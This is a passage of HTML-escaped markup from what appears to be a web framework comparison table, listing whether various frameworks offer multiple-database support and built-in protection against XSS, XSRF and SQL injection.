title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Extensible&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v30_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v30_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v30_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v30_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Multiple databases&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_30&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;section&quot; id=&quot;v31_1&quot;&gt;&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v31_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v31_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Security&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v45_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v46_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v47_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v48_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v49_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v50_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v51_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v52_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v53_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v54_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v55_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v56_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v57_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v58_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v59_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v60_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v61_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v62_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v63_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v64_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v65_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v66_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v67_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v68_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v69_31&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v70_31&quot;&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v32_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v32_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v32_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v32_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Xss&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scNo&quot;&gt;No&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Built-in&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Built-in&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Built-in&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Via Twig&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_32&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v33_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v33_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v33_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v33_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Xsrf&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Built-in&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Built-in&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Built-in&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_33&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v34_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v34_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v34_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v34_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Sql injection&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Built-in&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Built-in&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Built-in&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_34&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_34&quot;&gt;&lt;dfn class=&quot;suggest action 